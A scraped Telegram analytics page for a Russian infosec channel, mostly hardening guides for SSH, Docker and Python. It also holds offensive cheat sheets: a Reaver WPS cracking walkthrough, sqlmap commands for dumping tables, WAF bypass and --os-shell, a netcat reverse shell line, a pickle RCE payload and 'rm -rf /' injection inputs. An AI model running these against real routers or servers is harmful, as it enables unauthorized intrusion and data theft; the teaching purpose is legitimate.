CodeGuard: CyberSec Edition
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
Mostrar más📈 Análisis del canal de Telegram CodeGuard: CyberSec Edition
El canal CodeGuard: CyberSec Edition es un actor destacado. Actualmente la comunidad reúne a 12 526 suscriptores, ocupando la posición 10 134 en la categoría Tecnologías y Aplicaciones y el puesto 52 701 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 12 526 suscriptores.
Según los últimos datos del 20 junio, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 517, y en las últimas 24 horas de 50, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 12.15%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 6.95% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 1 522 visualizaciones. En el primer día suele acumular 871 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 4.
- Intereses temáticos: El contenido se centra en temas clave como codeguard, pysec, docker, grep, контейнер.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“Канал по ИБ и этичному хакингу.
Связь: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 21 junio, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
🔵Telegram: все данные на серверах Павла Дурова 🔵Signal: все данные у Open Whisper Systems 🔵Вас взломали? Все чаты слили.Как работает на железе: Каждое сообщение — это JSON-событие с цепочкой хешей:
{
"type": "m.room.message",
"content": {
"msgtype": "m.text",
"body": "Зашифрованное сообщение"
},
"sender": "@user:matrix.org",
"room_id": "!abc123:matrix.org",
"event_id": "$event_hash",
"origin_server_ts": 1735430400000
}
Каждый сервер хранит полную историю комнаты, которую он знает. Удалить сообщение нельзя (у всех остаётся копия), но можно редактировать (новое событие поверх старого).
E2EE: не как Signal, а лучше
🔵Signal: одна комната = один ключ 🔴Matrix: использует обновляемую цепочку ключей (Megolm ratchet), где ключ для расшифровки меняется с каждым сообщением, обеспечивая forward secrecy на уровне сессииOlm/Megolm — криптография:
🔵Cross-signing: если доверяю устройству А, автоматически доверяю всем его друзьям 🔵Key backups: зашифрованная бэкап-фраза в облаке, можешь восстановить ключи на новом девайсе 🔵Forward secrecy: даже если взломают один ключ, старые сообщения не расшифруются⚠️ Честно о минусах:
🔴Метаданные (кто с кем в комнате, когда пишет) видны homeserver 🔴Федерация = сложнее аудит. Ненадёжный сервер может логировать всё 🔴Синхронизация комнат может лагать при 10K+ юзеровИнтересный факт: Французская армия мигрировала на Matrix для classified communications. Это не хипстерский эксперимент — это real-world е2ee infrastructure для госучреждений. Немецкое министерство обороны то же самое. 😈 CodeGuard: PySec Edition | Чат
🔴Понимание этических и правовых основ хакинга — зачем нужен пентест и как остаться в правовом поле. 🔴Основы работы с Metasploit Framework — структура, модули, полезные команды и workflow. 🔴 Изучение типов атак и уязвимостей — от сканирования до эксплуатации. 🔴 Настройка безопасной лаборатории для практики — виртуальные машины, песочницы и шаблоны тестовых сетей. 🔴 Реальные кейсы: имитация атак и анализ результатов без ущерба для реальных систем. 🔴 Пошаговое выполнение теста безопасности: поиск, эксплуатация, постэксплуатация, отчет. 🔴 Навык читать и понимать отчеты пентестов и переводить технику в рекомендации по защите.😈 CodeGuard: PySec Edition | Чат
🔵Архитектура IoT и типовые протоколы (MQTT, CoAP, BLE, ZigBee) 🔵Анализ микроконтроллеров, прошивок и бинарей под ARM и MIPS 🔵Тестирование безопасности — от UART и JTAG до сетевых эксплойтов 🔵Разбор реальных кейсов атак на камеры, роутеры и умные колонкиДля кого:
🔴Реверс-инженеров и исследователей IoT 🔴ИБ-специалистов, работающих с встраиваемыми системами 🔴Пентестеров, автоматизаторов и энтузиастов hardware hacking👩💻 Кликай и качай 😈 CodeGuard: PySec Edition | Чат
🔴Ключи без passphrase = мгновенный доступ без вопросов 🔴authorized_keys с неправильными правами доступа 🔴Нет ротации: ключ от стажировщика 2023 года до сих пор валяется 🔴GitHub/сервисы скомпрометированы → твои приватные ключи в даркнете7 шагов, чтобы SSH не стал дырой в кармане 1️⃣ Проверь права на ключи
find ~/.ssh -type f -name "id_*" -exec chmod 600 {} \;
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys # Только владелец может читать и писать
Никому кроме владельца не должно быть доступа на запись.
2️⃣ Добавь passphrase ко всем ключам
ssh-keygen -p -f ~/.ssh/id_rsa
Без passphrase ключ — бесполезен в чужих руках, но = полный доступ в твоих.
3️⃣ Отключи пароли в SSH
sudo nano /etc/ssh/sshd_config
Найди и отредактируй эти строки:
PasswordAuthentication no PermitRootLogin no PubkeyAuthentication yesЗатем перезагрузи сервис:
sudo systemctl restart sshd
4️⃣ Аудит authorized_keys
# Просмотри все добавленные ключи и их отпечатки
ssh-keygen -lf ~/.ssh/authorized_keys
# Или посмотри содержимое вручную
cat ~/.ssh/authorized_keys
# Проверь время последнего доступа к файлу
stat ~/.ssh/authorized_keys
Вручную проверь: кто эти ключи добавил? Когда? Откуда? Если видишь ключи, которых не признаёшь — удали их немедленно.
5️⃣ Ротация ключей (каждые 90 дней)
# Генерируем новый ключ
ssh-keygen -t ed25519 -C "admin@2025-12" -f ~/.ssh/id_ed25519_new
# Добавляем на все сервера
ssh-copy-id -i ~/.ssh/id_ed25519_new.pub user@server
# Тестируем подключение с новым ключом
ssh -i ~/.ssh/id_ed25519_new user@server
# После проверки: удаляем старый ключ из authorized_keys на всех серверах
Старые ключи = вчерашние новости. Регулярная ротация снижает окно уязвимости.
6️⃣ Fail2ban для защиты от brute-force
sudo apt install fail2ban
sudo nano /etc/fail2ban/jail.local
Добавь секцию:
[ssh] enabled = true port = sshd maxretry = 3Перезагрузи fail2ban:
sudo systemctl restart fail2ban
Блокирует IP автоматически после N неудачных попыток.
7️⃣ Мониторинг логинов SSH
На современных системах (systemd):
# Мониторь в реальном времени
journalctl -u ssh -f | grep "Accepted publickey"
# Или смотри историю
journalctl -u ssh -o short-iso -r | grep "Accepted publickey"
На старых системах (syslog):
# Для Debian/Ubuntu
grep "Accepted publickey" /var/log/auth.log
# Для RHEL/CentOS
grep "Accepted publickey" /var/log/secure
В crontab (ежедневные отчёты):
# Добавь в crontab
0 6 * * * journalctl -u sshd --since today -o short | grep "Accepted publickey" | mail -s "SSH логины за день" admin@domain.com
💥 Реальный кейс: Админ забыл удалить ключ уволенного devops. Через 8 месяцев тот зашёл ночью и слил всю БД.
😈 CodeGuard: PySec Edition | Чатsudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
sudo nano /etc/ssh/sshd_config
2️⃣Запрет root и паролей
PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes3️⃣Ограничение по IP (AllowUsers)
# Только с вашего офиса и VPS AllowUsers admin@192.168.1.100 admin@203.0.113.5 deploy@10.0.0.50 # Или подсети AllowUsers *@203.0.113.0/24Root всё равно заблокирован, но можно @ваш_IP для root при необходимости. 4️⃣Смена порта (обязательно)
Port 2222Боты сканируют 22, ваш 2222 игнорят. Откройте в ufw: sudo ufw allow 2222/tcp 5️⃣Современные алгоритмы 2025
# Только сильные шифры Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com KexAlgorithms curve25519-sha256,[email protected]6️⃣Таймауты и лимиты
ClientAliveInterval 300 ClientAliveCountMax 0 MaxAuthTries 3 LoginGraceTime 30 MaxSessions 2🔑 Генерация и настройка ключей На локальной машине:
ssh-keygen -t ed25519 -C "admin@server" -f ~/.ssh/server_key
ssh-copy-id -i ~/.ssh/server_key.pub [email protected] -p 2222
Права на сервере:
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
chown -R $USER:$USER ~/.ssh
✅Тестирование перед рестартом
sudo sshd -t
# синтаксис конфига
sshd -T | grep -E "(permitrootlogin|passwordauthentication)"
# эффективные настройки
Подключитесь с нового терминала: ssh -p 2222 admin@server
🔄Применение
sudo systemctl restart sshd
sudo ufw deny 22 # закройте старый порт
sudo ufw reload
🚨Fail2ban как вишенка
sudo apt install fail2ban
sudo systemctl enable fail2ban
В /etc/fail2ban/jail.local:
[sshd] enabled = true port = 2222💥Результат: 0% брутфорса, только ваши ключи с ваших IP. Логи чистые. 😈 CodeGuard: PySec Edition | Чат
sudo grep "Failed password" /var/log/auth.log
Выдаст все проваленные SSH-пароли с IP, пользователем и временем. Типичная строка:
Dec 28 10:22:15 server sshd[1234]: Failed password for root from 185.234.217.12 port 54321 ssh2
2️⃣Топ-10 самых активных IP-атакующих
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -10
Пример вывода:
247 185.234.217.12 189 94.102.49.180 156 45.79.123.45185.234.217.12 сделал 247 попыток за день. Блокировать срочно. 3️⃣Популярные цели брутфорса (пользователи)
sudo grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | head
Обычно: root (89%), ubuntu (5%), admin (3%). Если видите mysql/postgres значит бот-сканер.
4️⃣Успешные входы после брутфорса (самое страшное)
sudo grep "Accepted password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
Если IP из топа неудач вдруг "Accepted" значит пароль угадали. Меняйте немедленно.
5️⃣Брутфорс за последние 24 часа
sudo grep "Failed password" /var/log/auth.log | grep "$(date -d '1 day ago' '+%b %d')"
Фильтр по дате. Для старых логов: zgrep на .gz файлах.
6️⃣One-liner мониторинг в реальном времени
sudo tail -f /var/log/auth.log | grep --line-buffered "Failed password\|Accepted"
Видишь поток неудач? Боты работают. "Accepted" = паника.
⚙️ Автоматизация анализа скрипт /usr/local/bin/bruteforce-report.sh
#!/bin/bash
echo "=== БРУТФОРС РЕПОРТ $(date) ==="
echo "Топ IP:"
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -5
echo "Успешные входы:"
grep "Accepted password" /var/log/auth.log | tail -10
chmod +x и watch -n 300 ./bruteforce-report.sh
🚨Что делать при находке:
🔴fail2ban-client status sshd проверить блокировки 🔴iptables -L | grep DROP ручные баны 🔴SSH-ключи вместо паролей 🔴Port 2222 + PermitRootLogin no💥За час анализа поймёте, кто ломится и насколько агрессивно. Без fail2ban сервер тонет в атаках. 😈 CodeGuard: PySec Edition | Чат
{…устанавливаю личность…}
⌛️ loading . . .
{…
сканирую слитые базы…
}
доступ ✅ разрешён
🎥 системы распознавания лиц
👁️ базы правоохранителей
📁 утилиты для взлома слежки
↑ ↓
Добро пожаловать на самый продвинутый ресурс по кибербезопасности и хакингу
C O N И E C T ⇢ @TechLabsudo airmon-ng start wlan0 # mon0 готов к охоте
sudo airmon-ng check kill # убиваем мешающие процессы
⚪️Шаг 2: Ищем жертву с WPS
sudo wash -i wlan0mon --ignore-locked
Ищем сети с WPS Locked: No — вот они, наши цели!
⚪️ Шаг 3: Лобовая атака Reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1
- -vv — спамит логами, чтобы видеть прогресс
- -c 6 — фиксируем канал (из wash)
- -K 1 — stealth mode против блокировок
🔥 Мои настройки для стабильности:
--no-timeout # не сбрасывать при глюках --dh-small # быстрее, но чуть менее надежно --force-ns-noresp # игнорируем неответы⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов. ⚠️ Важно: - WPS Locked = игра окончена, роутер заблокировал атаки - Качество сигнала > -60dB, иначе тормоза - Pixie Dust атака (pixiewps) может сократить до минут! 🛡 Защита (сразу после теста): 1. Отключи WPS в настройках роутера 2. Поменяй пароль на 20+ символов 3. Обнови прошивку (часто фиксит WPS) 📱 Посмотреть код 😈 CodeGuard: PySec Edition | Чат
🔹 Борьба с атаками по сети: взломы вебок, эксплуатация уязвимостей, малварь, DDoS. 🔹 Технологии: firewall, IDS/IPS, EDR, WAF, анти‑DDoS, SIEM, мониторинг логов и трафика. 🔹Условно: КБ следит, чтобы «хакер не залез в сервак и не унёс базу по сети».Что такое информационная безопасность (ИБ) Информационная безопасность = защита информации в любом виде: в базе, в бумажке, на флешке и в голове сотрудника. Что сюда входит:
🔵 Конфиденциальность, целостность и доступность данных (CIA‑триада). 🔵 Политики, регламенты, классификация данных, физическая защита, пропуска, сейфы, DLP, комплаенс (152‑ФЗ, GDPR и т.п.). 🔵Условно: ИБ следит, чтобы «секрет не утёк ни по сети, ни через флешку, ни через фотку экрана в Telegram».Как это всё стыкуется❔
🔴 КБ — подмножество ИБ: вся кибербезопасность — это часть большой системы информационной безопасности. |🔴 КБ закрывает технику (сети, сервера, софт), ИБ строит рамки: кто к чему имеет доступ, какие данные критичны, какие риски мы вообще принимаем.Если по‑простому:
👉 Хочешь ковырять трафик, эксплойты и логи — это больше КБ. 👉 Хочешь рисовать модели угроз, писать политики, заниматься рисками и комплаенсом — это уже ИБ.😈 CodeGuard: PySec Edition | Чат
docker run --user 1000:1000 image
2️⃣ Включи user namespace remapping в /etc/docker/daemon.json:
{
"userns-remap": "dockeruser:dockeruser"
}
Это изолирует UID 0 (root внутри контейнера) от root на хосте.
Теперь даже “root” в контейнере не сможет повредить систему.
🖥 Проблема 2: Случайные образы с Docker Hub
Случайный образ из интернета может скрывать майнер или троян.
docker scan больше не спасёт — команда устарела.
Решение:
trivy image myimage # Анализ уязвимостей docker history myimage # Проверка слоёв
✔️Используй только официальные образы или Verified Publishers. ✔️Проверяй образ перед включением в production.🔐 Проблема 3: Контейнер с лишними привилегиями Каждый контейнер по умолчанию получает 30+ системных capabilities — больше, чем нужно. Решение:
docker run --cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \ # если нужен порт < 1024
--read-only \
--pids-limit 100 \
image
--cap-drop=ALL — забирает все привилегии.
--cap-add=NET_BIND_SERVICE — даёт только возможность слушать порты 80/443.
--read-only — защищает root FS от записи.
--pids-limit — ограничивает количество процессов, предотвращая fork-bomb.
📄Проблема 4: Секреты в Dockerfile
# ПЛОХО
FROM ubuntu
RUN echo "password=secret123" > /app/config.txt
Пароль навсегда сохранится в истории слоёв.
Решение:
🔴Для Swarm:
echo "supersecret" | docker secret create db_pass -
docker service create --secret db_pass myimage
🔴Для production без Swarm:
docker run -v /etc/docker-secrets:/run/secrets:ro image
# Внутри контейнера: /run/secrets/db_pass
🔴Для development можно временно использовать переменные:
docker run -e DB_PASS=secret image
⚠️ Не делай это в production — env видно через docker inspect.
🌐 Проблема 5: Порты открыты всему миру
# Плохо: доступна всем
docker run -p 0.0.0.0:5432:5432 postgres
Решение:
# Только локально docker run -p 127.0.0.1:5432:5432 postgres # Или через частную сеть docker network create backend docker run --network backend --name db postgres docker run --network backend appВсегда держи базы и приватные сервисы за Docker Network. 0.0.0.0 безопасно только за фаерволом. 📖 Проблема 6: Потерянные логи Контейнер упал — логи исчезли. Решение:
docker run --log-driver local \
--log-opt max-size=10m \
--log-opt max-file=5 \
image
🔴local безопаснее, чем json-file, и автоматически делает ротацию. 🔴Для production — подключай централизованное логирование (ELK, Loki, Datadog и т.д.).💡Главное правило Помни: Docker - не защита, а ответственность. Контейнер - не клетка, а только слой изоляции. Начни с трёх шагов:
✔️ userns-remap ✔️ --cap-drop=ALL ✔️ --read-onlyЭти три пункта защитят от 80% типичных атак. Остальные — бонусом к спокойному сну Админа 😎 😈 CodeGuard: PySec Edition | Чат
sqlmap -u "http://site.com?id=1" — проверить на инъекцию. sqlmap -u "URL" --dbs — список баз данных. sqlmap -u "URL" -D db -T users --dump — выгрузить таблицу.1️⃣ POST и авторизация:
sqlmap -u "URL" --data="user=admin&pass=123" — POST-параметры. sqlmap -r request.txt — запрос из Burp Suite. sqlmap -u "URL" --cookie="PHPSESSID=abc" — с cookies.2️⃣ Обход WAF:
--tamper=space2comment — замена пробелов. --random-agent — случайный User-Agent. --delay=2 — задержка между запросами.3️⃣ Эксплуатация:
--os-shell — получить шелл на сервере. --file-read="/etc/passwd" — прочитать файл. --passwords — извлечь хеши паролей.4️⃣ Оптимизация:
--threads=10 — параллельные потоки. --batch — автоответ "да" на всё. --level=5 --risk=3 — максимальная глубина.🤔 SQLmap поддерживает 30+ СУБД и имеет 50+ tamper-скриптов для обхода WAF, включая Cloudflare и ModSecurity. 😈 CodeGuard: PySec Edition | Чат
nc [IP] [порт] — подключиться к хосту. nc -lnvp 4444 — слушать входящие соединения. nc -z [IP] 20-100 — быстрое сканирование портов. nc -u [IP] [порт] — работа по UDP.Передача файлов:
nc -l -p 4444 > file.txt — принять файл. nc [IP] 4444 < file.txt — отправить файл.Reverse shell:
nc -e /bin/bash [IP] 4444 — отправить шелл. nc -lnvp 4444 — ловить шелл на своей стороне.Отладка:
nc -vz [IP] 443 — проверить, открыт ли порт. echo "GET /" | nc site.com 80 — ручной HTTP-запрос.Флаги:
-n — не резолвить DNS. -v — подробный вывод. -w 3 — таймаут 3 секунды. -k — не закрывать после отключения.Факт: Netcat написан в 1995 году хакером Hobbit. Настолько универсален, что называется "TCP/IP швейцарский нож". 😈 CodeGuard: PySec Edition | Чат
# Плохо: контейнер работает от root
docker run -it ubuntu bash
whoami # root
# Правильно: указать пользователя
docker run -it --user 1000:1000 ubuntu bash
# Или в Dockerfile:
FROM ubuntu
RUN useradd -m appuser
USER appuser
🔹 Проблема: 90% контейнеров в проде работают от root 🔹 Решение: Всегда указывать USER в Dockerfile или --user при запуске2️⃣ Привилегированный режим
# НИКОГДА так не делайте в проде: docker run --privileged nginx # Это даёт контейнеру полный доступ к хосту: # - Все устройства (/dev) # - Возможность монтировать файловые системы # - Отключение всех ограничений # Если нужны конкретные capabilities: docker run --cap-add NET_ADMIN nginx # Вместо --privileged даём только нужное
🔹 Проблема: --privileged используют "чтобы работало", не понимая последствий 🔹 Решение: Использовать --cap-add только для нужных capabilities3️⃣ Монтирование Docker socket
# Популярный антипаттерн для CI/CD: docker run -v /var/run/docker.sock:/var/run/docker.sock myapp # Что может сделать атакующий: docker run -v /:/host -it alpine chroot /host # Полный доступ к файловой системе хоста!
🔹 Проблема: Docker socket = root доступ к хосту 🔹 Решение: Использовать Docker-in-Docker или rootless Docker4️⃣ Образы из непроверенных источников
# Проверить образ на уязвимости: docker scout cves nginx:latest # Или использовать Trivy: trivy image nginx:latest # Сканирование покажет: # CVE-2023-XXXX HIGH openssl 1.1.1k # CVE-2023-YYYY CRITICAL curl 7.74.0
🔹 Проблема: Образы с Docker Hub могут содержать malware или уязвимости 🔹 Решение: Использовать официальные образы, сканировать перед деплоем5️⃣ Секреты в переменных окружения
# Плохо: пароль виден всем docker run -e DB_PASSWORD=supersecret myapp # Любой процесс видит переменные: docker exec container cat /proc/1/environ # Правильно: Docker secrets echo "supersecret" | docker secret create db_pass - docker service create --secret db_pass myapp # Или монтировать файл: docker run -v ./secrets:/run/secrets:ro myapp
🔹 Проблема: Переменные окружения логируются, видны в docker inspect 🔹 Решение: Docker secrets, HashiCorp Vault, файлы с правильными правами6️⃣ Отсутствие лимитов ресурсов
# Контейнер может съесть всю память хоста:
docker run -d memhog # Fork bomb = хост падает
# Установить лимиты:
docker run -d \
--memory=512m \
--memory-swap=512m \
--cpus=0.5 \
--pids-limit=100 \
nginx
🔹 Проблема: Один контейнер может положить весь хост 🔹 Решение: Всегда ставить --memory, --cpus, --pids-limitЧек-лист безопасности Docker:
✔️ Контейнеры работают не от root ✔️ Никакого --privileged в проде ✔️ Docker socket не монтируется ✔️ Образы сканируются на уязвимости ✔️ Секреты не в ENV переменных ✔️ Установлены лимиты ресурсов ✔️ Используется read-only filesystem где возможно ✔️ Сеть изолирована (не --network host)😈 CodeGuard: PySec Edition | Чат
# Так делают "для удобства"
user_input = request.get("calc")
result = eval(user_input) # Пользователь вводит: __import__('os').system('rm -rf /')
# Безопасная альтернатива для математики:
import ast
result = ast.literal_eval(user_input) # Только литералы
🔹 Проблема: Выполняет произвольный код от имени вашего приложения 🔹 Решение: ast.literal_eval() или специализированные парсеры2️⃣ pickle — десериализация смерти
# Загрузка данных из кэша/файла
import pickle
data = pickle.loads(user_data) # RCE в одну строку
# Атакующий отправляет:
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(Exploit())
🔹 Проблема: pickle выполняет код при десериализации 🔹 Решение: JSON, или hmac для подписи pickle-данных
import json
data = json.loads(user_data) # Безопасно
3️⃣ subprocess с shell=True
# Опасно: shell injection
filename = request.get("file")
subprocess.call(f"cat {filename}", shell=True)
# Ввод: "; rm -rf /"
# Безопасно: передавать список аргументов
subprocess.call(["cat", filename], shell=False)
🔹 Проблема: shell=True позволяет инъекцию команд 🔹 Решение: Всегда shell=False и список аргументов4️⃣ yaml.load() без Loader
# Старый код — уязвим
import yaml
config = yaml.load(user_file) # RCE через YAML
# Правильно:
config = yaml.safe_load(user_file)
🔹 Проблема: PyYAML по умолчанию выполняет Python-объекты 🔹 Решение: Только yaml.safe_load()5️⃣ SQL без параметризации
# Классика жанра
query = f"SELECT * FROM users WHERE id = {user_id}"
# Ввод: 1 OR 1=1; DROP TABLE users;--
# Безопасно:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Или ORM
User.objects.filter(id=user_id)
🔹 Проблема: SQL-инъекция — топ-1 уязвимость уже 20 лет 🔹 Решение: Параметризованные запросы, ORM6️⃣ os.path.join() с абсолютным путём
# Ожидание: /var/uploads/file.txt
# Реальность:
os.path.join("/var/uploads", "/etc/passwd")
# Результат: /etc/passwd — path traversal!
# Защита:
import os
base = "/var/uploads"
filename = os.path.basename(user_input) # Убирает путь
full_path = os.path.join(base, filename)
if not os.path.abspath(full_path).startswith(base):
raise SecurityError("Path traversal detected")
7️⃣ hashlib для паролей
# Неправильно:
password_hash = hashlib.sha256(password.encode()).hexdigest()
# Правильно: bcrypt с солью и work factor
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
🔹 Проблема: SHA256 слишком быстрый — GPU перебирает миллиарды хешей в секунду 🔹 Решение: bcrypt, argon2, scrypt — медленные по дизайнуЧек-лист безопасного Python:
✔️ Никаких eval/exec с пользовательским вводом ✔️ JSON вместо pickle для внешних данных ✔️ subprocess только с shell=False ✔️ yaml.safe_load() всегда ✔️ Параметризованные SQL-запросы ✔️ Валидация путей файлов ✔️ bcrypt/argon2 для паролей ✔️ bandit в CI/CD для автопроверки
# Сканер уязвимостей для Python
pip install bandit
bandit -r your_project/
🤔 Код, который "просто работает" — это код, который просто ждёт своего хакера.
😈 CodeGuard: PySec Edition | Чат
¡Ya disponible! Investigación de Telegram 2025 — los principales insights del año 
